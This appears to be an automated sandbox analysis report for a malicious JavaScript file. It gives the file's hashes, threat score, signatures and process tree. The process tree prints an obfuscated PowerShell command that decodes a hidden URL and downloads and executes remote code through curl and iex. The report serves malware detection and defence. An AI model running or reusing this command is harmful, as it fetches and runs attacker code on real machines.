Analysis
-
max time kernel
119s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
-
submitted
21-12-2024 15:07
General
-
Target
a0754183cf4bbab2b8a45ae0d4a5f79f586e7151de4228bad8bc7961719a0d04.js
-
Size
188KB
-
MD5
7e9bed6bd4a994c7289b7b38fd417edd
-
SHA1
7e74ce18b93f19d4189c3e3ecf1a2b9af00448a1
-
SHA256
a0754183cf4bbab2b8a45ae0d4a5f79f586e7151de4228bad8bc7961719a0d04
-
SHA512
c2cbb5db77702e7a2e47a7f8fa87032ad24005c537ed89a883d7cf900df25ee6165160529ba4b2b5d15de8fddd18e7c925c5756a09f6c232a81dfa170e745795
-
SSDEEP
1536:nwBMJQ6jzM8w6gfLv5dPxbq+v9gaU7gjzM8w6gfLg5dPxbq+v9gaU7i5dPxbq+v8:nFE8wzrcgE8wYrcMrcVE8wnE8w3
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\a0754183cf4bbab2b8a45ae0d4a5f79f586e7151de4228bad8bc7961719a0d04.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $mcugqyfwz='ur' ;new-alias printout c$($mcugqyfwz)l;$ivguklhds=(4752,4763,4771,4755,4757,4752,4772,4771,4776,4709,4771,4705,4752,4700,4770,4765,4766,4701,4703,4700,4766,4758,4766,4717,4769,4715,4763,4759,4764,4770,4769,4704,4703);$qnaytgkbisuj=('bronx','get-cmdlet');$csvbpzgmyorj=$ivguklhds;foreach($qyfodng in $csvbpzgmyorj){$guxmwd=$qyfodng;$yrvnkdfizws=$yrvnkdfizws+[char]($guxmwd-4654);$yhurkpozsntf=$yrvnkdfizws; $yvahpsgzed=$yhurkpozsntf};$cpguhvlfmweka[2]=$yvahpsgzed;$owzfekhi='rl';$kltwue=1;.$([char](9992-9887)+'e'+'x')(printout -useb $yvahpsgzed)1⤵
- Process spawned unexpected child process